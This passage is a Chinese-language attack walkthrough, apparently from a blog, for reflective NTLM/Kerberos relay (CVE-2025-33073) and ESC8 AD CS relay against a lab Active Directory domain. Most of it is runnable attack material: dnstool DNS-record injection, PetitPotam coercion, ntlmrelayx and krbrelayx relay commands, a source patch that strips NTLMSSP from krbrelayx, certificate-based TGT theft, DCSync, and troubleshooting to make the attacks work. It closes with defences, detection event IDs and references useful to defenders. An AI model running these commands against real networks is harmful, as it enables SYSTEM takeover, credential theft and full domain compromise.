# 执行命令模式——远程以 SYSTEM 身份执行单条命令
# (底层通过 SCM 创建临时服务执行,类似 psexec)
impacket-ntlmrelayx -t smb://WIN10PC.testjd.local -smb2support -c "whoami" --keep-relaying
# 批量模式——从文件加载目标列表,逐台中继
impacket-ntlmrelayx -tf targets.txt -smb2support --keep-relaying
# 3. 触发强制认证
python3 PetitPotam.py -d testjd.local -u attacker -p Bb123456 \
localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \
WIN10PC.testjd.local
# 4. 内部流程:
# 目标连接到 localhost1UWhRC...,DNS 解析到攻击者 IP
# → Windows 检测到目标名以 localhost 开头
# → 自动选择 NTLM 本地认证模式(NTLMSSP_NEGOTIATE_LOCAL_CALL)
# → SYSTEM 令牌被复制,攻击者获得以 SYSTEM 身份认证的 SMB 会话
# → 默认:远程 secretsdump(导出 SAM 凭据)
# → -c 模式:远程命令执行(whoami → nt authority\system)
适用条件:目标 SMB 签名未强制;NTLM 未被禁用(全林或本地策略未阻止)。
netexec smb 192.168.244.132

dnstool \
-u 'testjd\attacker' -p 'Bb123456' \
-r 'win10pc1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' \
-d 192.168.244.1 \
-a add -dns-ip 192.168.244.131

python3 PetitPotam.py -d testjd.local -u attacker -p Bb123456 \
win10pc1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \
win10pc.testjd.local

impacket-ntlmrelayx -t smb://192.168.244.132 -smb2support --keep-relaying

场景 B:Kerberos 路径(NTLM 禁用环境)
当全林禁用了 NTLM,攻击者无法走 NTLM 路径时,通过修改 krbrelayx 移除 NTLMSSP OID,强制受害者使用 Kerberos 完成反射。DNS 记录需要匹配目标机器的具体主机名(不能用通用 localhost)。
# 1. 注册针对特定机器的 DNS 记录(替换 SCRIBE 为目标机器名)
dnstool \
-u 'testjd\attacker' -p 'Bb123456' \
-r 'SCRIBE1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' \
-d 192.168.244.1 \
-a add -dns-ip 192.168.244.131 \
192.168.244.131
# 2. 启动修改后的 krbrelayx(已移除 NTLMSSP OID,强制走 Kerberos)
python3 krbrelayx.py -t 'SCRIBE.testjd.local' -smb2support
# 3. 触发强制认证
python3 PetitPotam.py -d testjd.local -u attacker -p Bb123456 \
SCRIBE1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \
SCRIBE.testjd.local
# 4. 内部流程:
# 受害者连接到 SCRIBE1UWhRC...,DNS 解析到攻击者 IP
# → SPN 部分 = "SCRIBE",KDC 签发 cifs/SCRIBE 票据
# → krbrelayx 只声明 Kerberos(无 NTLMSSP OID)
# → 受害者发送 Kerberos SE_REQ
# → krbrelayx 中继回受害者本机 SMB
# → 令牌混淆 → SYSTEM
适用条件:目标 SMB 签名未强制;NTLM 已被全林或本地策略禁用。需要修改 krbrelayx 源码(移除 NTLMSSP OID)。
python3 PetitPotam.py -d testjd.local -u attacker -p Bb123456 \
win10pc1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \
WIN10PC.testjd.local -pipe efsr
python3 krbrelayx.py -debug \
--target 'smb://win10pc.testjd.local' \
-smb2support

场景 A 与 B 的关系
两条路径最终效果完全相同——都是 secretsdump 导出 SAM 凭据或远程命令执行。选择逻辑如下:
目标 SMB 签名状态?
├── 强制 → 两条路径均不可用,需要攻击路径二(ESC8)
└── 未强制 →
├── NTLM 可用 → 场景 A(NTLM 路径,最方便,一条 localhost 记录打所有机器)
└── NTLM 禁用 → 场景 B(Kerberos 路径,需要修改 krbrelayx + 每条机器单独注册 DNS)
攻击路径二:ESC8 Kerberos 中继 → AD CS 证书申请
这是整套攻击体系中最具杀伤力的攻击路径。核心思路:将受害机器的 Kerberos SE_REQ 中继到 AD CS Web Enrollment 端点,利用合法的 Kerberos 票据为受害者申请证书,再通过 PKINIT 获取 TGT。
与攻击路径一的关键区别:中继目标是 HTTP 而非 SMB,因此不受 SMB 签名约束——这是唯一能直接攻击域控的路径。
DNS 技巧在此扮演关键角色——SPN 前缀决定了 KDC 为哪个服务签发票据。这个服务名必须与 AD CS 所在的主机名一致,否则 AD CS 验证票据时会因为服务名不匹配而拒绝。
根据受害者与 AD CS 是否在同一台机器上,分为两种场景。两种场景的本质是同一个攻击手法,区别仅在于 SPN 前缀的设置和证书模板的选择。
参考文章:
– https://blog.async.sg/sysadmins-in-shambles
– https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025
场景 A:域控自中继(最高危)
受害者与 AD CS 在同一台域控上。SPN 前缀 = 受害者主机名 = 中继目标主机名,属于自中继。
前提:
- 域控上启用了 AD CS Web Enrollment(HTTP, ESC8 条件)
- 攻击者有一个任意有效的域用户凭据
- (域控默认强制 SMB 签名,但中继目标为 HTTP 而非 SMB,故签名不构成障碍)
# Step 1——注册针对域控的 DNS 记录(SPN 前缀 = DC 主机名)
dnstool \
-u 'testjd\attacker' -p 'Bb123456' \
-r 'DC011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' \
-d 192.168.244.1 \
-a add -dns-ip 192.168.244.131 \
192.168.244.131
# Step 2——启动 krbrelayx,中继目标为域控自身的 AD CS HTTP 端点
python3 krbrelayx.py \
--target 'http://DC01.testjd.local/certsrv/certfnsh.asp' \
--adcs \
--template DomainController \
--victim 'DC01$' \
-smb2support
# Step 3——触发域控向攻击者发起认证
python3 PetitPotam.py -d testjd.local -u attacker -p Bb123456 \
DC011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \
DC01.testjd.local
# Step 4——利用证书获取 DC 机器账户 TGT → DCSync → 全域 Hash
certipy auth -pfx DC01.pfx -dc-ip 192.168.244.131
impacket-secretsdump -k -no-pass 'testjd.local/[email protected]'
内部流程:
DC01 (含 KDC) Attacker DC01 上的 AD CS
| | |
| 1. PetitPotam 触发 DC01 通过 | |
| SMB 连接 DC011UWhRC...AAAA | |
| → DNS 解析到 192.168.244.1 | |
|--------------------------------->| |
| | |
| 2. Attacker 的 SMB 服务器响应 | |
| SPNEGO 只声明 Kerberos | |
| (mechTypes 不含 NTLMSSP OID) | |
|<---------------------------------| |
| | |
| 3. DC01 向本地 KDC 请求票据 | |
| TGS-REQ: SPN = cifs/DC01 | |
| (DC01 自身即 KDC,本地调用) | |
| | |
| 4. DC01 发送 Kerberos SE_REQ | |
| (携带 cifs/DC01 服务票据) | |
|--------------------------------->| |
| | |
| | 5. 中继 SE_REQ 到 |
| | http://DC01/certsrv/ |
| |------------------------------>|
| | |
| | 6. AD CS 验证 SE_REQ |
| | 票据指向 cifs/DC01 ✓ |
| | 客户端身份 = DC01$ |
| | 颁发 DomainController 证书 |
| |<------------------------------|
| | |
| | 7. Attacker 离线操作: |
| | PKINIT(证书) → DC01$ TGT |
| | DCSync(TGT) → 全域 Hash |
场景 B:任意域机器中继到 CA(NTLM 禁用环境也适用)
AD CS 部署在独立的 CA 服务器上,受害者是域内任意机器。此时 SPN 前缀需要改为 CA 服务器的主机名而非受害者名,属于跨机器中继。即使全林禁用了 NTLM,此链路依然有效。
⚠️ 最常见的错误——DNS 前缀用了受害者名而不是 CA 名。如果你在 DNS 记录里用了
WIN10-PC1UWhRC...作为前缀,KDC 签发的票据是cifs/win10pc,加密密钥是WIN10-PC$的密钥。中继到http://CA01/certsrv/时,CA01 只有自己的密钥,无法解密 WIN10-PC 的票据 → krbrelayx 报错No target configured that matches the hostname of the SPN。必须用 CA 服务器的主机名作为 DNS 前缀(如CA011UWhRC...或DC011UWhRC...),这样票据才是给 CA 的,CA 才能解密。
# 注册 DNS(SPN 前缀 = CA 主机名,而非受害者名)
dnstool \
-u 'testjd\attacker' -p 'Bb123456' \
-r 'CA011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' \
-d 192.168.244.1 \
-a add -dns-ip 192.168.244.131 \
192.168.244.131
# krbrelayx 中继到 AD CS,申请 Machine 模板证书
python3 krbrelayx.py \
--target 'http://CA01.testjd.local/certsrv/certfnsh.asp' \
--adcs --template Machine \
--victim 'WIN10-PC$' \
-smb2support
# 触发 WIN10-PC 访问 SPN = cifs/CA01 的记录
python3 PetitPotam.py -d testjd.local -u attacker -p Bb123456 \
CA011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \
WIN10-PC.testjd.local
# 获得 WIN10-PC$ 的 Machine 证书 → S4U2Self → SYSTEM
两种场景的对比:
| 维度 | 场景 A(域控自中继) | 场景 B(跨机器中继) |
|——|———————|———————|
| 受害者 | DC01 | WIN10-PC |
| SPN 前缀 | DC01(= 受害者主机名) | CA01(= CA 主机名 ≠ 受害者名) |
| KDC 签发票据 |cifs/DC01|cifs/CA01|
| 中继目标 |http://DC01/certsrv/|http://CA01/certsrv/|
| 中继类型 | 自中继(victim == target) | 跨机器中继(victim ≠ target) |
| 证书模板 | DomainController | Machine |
| 最终效果 | DCSync → 全域沦陷 | S4U2Self → 单机 SYSTEM |DNS 技巧的核心价值正是解耦了”SPN 指向谁”和”连接连到谁”。场景 B 将攻击范围从”AD CS 和受害者同机”扩展到”域内任意机器 → CA”,极大地拓宽了攻击面。
关于 krbrelayx 的获取与修改
krbrelayx 可以从官方仓库获取并手动打补丁。核心修改点只有一处:
文件:krbrelayx/lib/servers/smbrelayserver.py,第 159 行
操作:删除 mechTypes 列表中的 NTLMSSP 条目:
blob['innerContextToken']['mechTypes'].extend([MechType(TypesMech['KRB5 - Kerberos 5']),
MechType(TypesMech['MS KRB5 - Microsoft Kerberos 5']),
- MechType(TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'])])
])
通过本文的详细分析,你应该能理解为什么这个修改是必需的,以及为什么不做这个修改就会走 NTLM 路径。
常见问题排查
win10pc → DC01 ESC8 中继失败:”No target configured that matches the hostname of the SPN”
症状:krbrelayx 报错 No target configured that matches the hostname of the SPN in the ticket: dc01.testjd.local。
原因:DNS 前缀用错了。如果用 win10pc1UWhRC... 作为前缀,KDC 签发的票据是 cifs/win10pc,加密密钥是 WIN10-PC$ 的密钥。中继到 http://DC01/certsrv/ 时,DC01 无法解密 WIN10-PC 的票据。修正方法:DNS 前缀改为 CA/AD CS 服务器的主机名(如 DC011UWhRC...)。
SMB 反射时无限 “Received connection” 但不中继
症状:krbrelayx 反复打印 SMBD: Received connection from ...,但没有任何中继成功的输出。
原因:这是 Windows Negotiate SSP 回退到了 NTLM。即使修改了 mechTypes,Windows 在回环检测后仍优先尝试 NTLM。krbrelayx 收到 NTLM 消息后无法处理,表现为静默接收连接。
排查步骤:
- 确认 mechTypes 修改已生效——检查
krbrelayx/lib/servers/smbrelayserver.py第 156-159 行,确认 NTLMSSP 行已被删除或注释 - 用
-debug参数运行 krbrelayx,查看是否有Unsupported MechType 'NTLMSSP'错误——如果有,说明修改未生效或客户端仍在发送 NTLM 消息 - 尝试使用 RedTeam Pentesting 的
wspcoerce替代 PetitPotam——不同强制认证工具的触发行为可能不同(RedTeam Pentesting 博客中的成功案例使用的是wspcoerce) - 检查目标机器的 SMB 客户端签名配置:
reg query HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters /v RequireSecuritySignature——如果为 1,客户端强制签名,可能影响 Kerberos 协商
PetitPotam 触发后 ntlmrelayx 静默无输出
症状:PetitPotam 显示 Attack worked!,但 ntlmrelayx 没有任何反应。
原因:从 impacket v0.9.21 开始,ntlmrelayx 增加了多路中继功能,必须等待客户端发送 Tree Connect 请求后才会继续处理。如果目标强制 SMB 签名,客户端在 NTLM 握手完成后检测到签名无效 → 断开连接 → 永远不会发送 Tree Connect → ntlmrelayx 静默忽略该认证。
修正方法:在 ntlmrelayx 命令中添加 --no-multirelay 参数,禁用 Tree Connect 等待逻辑:
impacket-ntlmrelayx -t smb://TARGET -smb2support --no-multirelay
防御措施
Kerberos 反射中继比 NTLM 中继更难防御,因为 Kerberos 协议设计中没有内建同机反射保护:
关键措施:
- 为 CVE-2025-33073 打补丁(2025 年 6 月安全更新):微软修复了 SMB 客户端在 DNS 名中处理
CREDENTIAL_TARGET_INFORMATIONW的方式。注意:此补丁仅修复了 SMB 客户端路径,后续又出现 CVE-2025-58726(Ghost SPN)和 CVE-2026-24294(SMB 任意端口)等绕过,需持续跟进微软安全更新 - 在所有机器上强制 SMB 签名:组策略 →
Microsoft network client: Digitally sign communications (always)= Enabled。可阻止攻击路径一(SMB 反射,包括 NTLM 和 Kerberos 两种变体) - AD CS Web Enrollment 仅使用 HTTPS 并启用 EPA:阻断 Kerberos SE_REQ 被中继到 HTTP 端点
- 限制 DNS 记录创建权限:默认情况下
Authenticated Users对 AD 集成 DNS 区域有CreateChild权限。将ms-DS-MachineAccountQuota设为 0,并通过 ADSI 编辑器收紧 DNS 区域的 ACL - 收紧 MS-EFSRPC 接口访问:通过 RPC 过滤器或 Windows 防火墙限制
\pipe\lsarpc上的 EFSRPC 调用 - 注意:仅禁用 NTLM 无法防御 Kerberos 反射——攻击路径二(ESC8)原本就走 Kerberos 路径,攻击路径一也可以通过场景 B(Kerberos 变体)绕过 NTLM 禁用。禁用 NTLM 反而可能让攻击者从路径一场景 A(NTLM)滑向场景 B(Kerberos),防御效果非常有限
检测:
- Event ID 5137(目录服务对象创建):监控包含
UWhRC和BAAAA特征串的 DNS 记录创建 - Event ID 4662(目录访问):监控
MicrosoftDNS分区中的异常写入 - Event ID 4768(Kerberos TGT 请求):监控非预期的证书预认证(PKINIT)
- DNS 查询日志:监控包含
*UWhRC*BAAAA*模式的 A/AAAA 查询
参考来源
核心研究论文与原始披露:
– RedTeam Pentesting「A Look in the Mirror — The Reflective Kerberos Relay Attack」(2025):https://blog.redteam-pentesting.de/2025/reflective-kerberos-relay-attack/
– RedTeam Pentesting 完整白皮书 (PDF):https://www.redteam-pentesting.de/publications/2025-06-11-Reflective-Kerberos-Relay-Attack_RedTeam-Pentesting.pdf
– RedTeam Pentesting 官方公告:https://www.redteam-pentesting.de/de/advisories/rt-sa-2025-002/
– Synacktiv:Wilfried Bécard & Guillaume André「NTLM reflection is dead, long live NTLM reflection!」(2025):https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025
– Synacktiv「Relaying Kerberos over SMB using krbrelayx」:https://halloween.synacktiv.com/en/publications/relaying-kerberos-over-smb-using-krbrelayx
– GuidePoint Security「The Birth and Death of LoopyTicket」(2025):https://www.guidepointsecurity.com/blog/the-birth-and-death-of-loopyticket/
– async.sg:@n00bie「Sysadmins in Shambles」(2025):https://blog.async.sg/sysadmins-in-shambles
利用演示与实践分析:
– BreakPoint Labs「Exploiting the Reflective Kerberos Relay Flaw (CVE-2025-33073)」:https://breakpoint-labs.com/exploiting-the-reflective-kerberos-relay-flaw-cve-2025-33073/
– Praetorian「Reflecting on Your Tier Model: CVE-2025-33073 and the One-Hop Problem」:https://www.praetorian.com/blog/cve-2025-33073-ntlm-reflection-one-hop/
工具与前置研究:
– krbrelayx 项目:https://github.com/dirkjanm/krbrelayx
– PetitPotam 原始工具 (Lionel Gilles / @topotam77):https://github.com/topotam/PetitPotam
– James Forshaw (Google Project Zero):CredMarshalTargetInfo 相关研究
– James Forshaw「Relaying Kerberos Authentication from DCOM OXID Resolving」:https://www.tiraniddo.dev/2024/04/relaying-kerberos-authentication-from.html
协议参考与防御指南:
– The Hacker Recipes「Kerberos relay」:https://www.thehacker.recipes/ad/movement/kerberos/relay
– Microsoft Security Response Center (CVE-2025-33073):https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073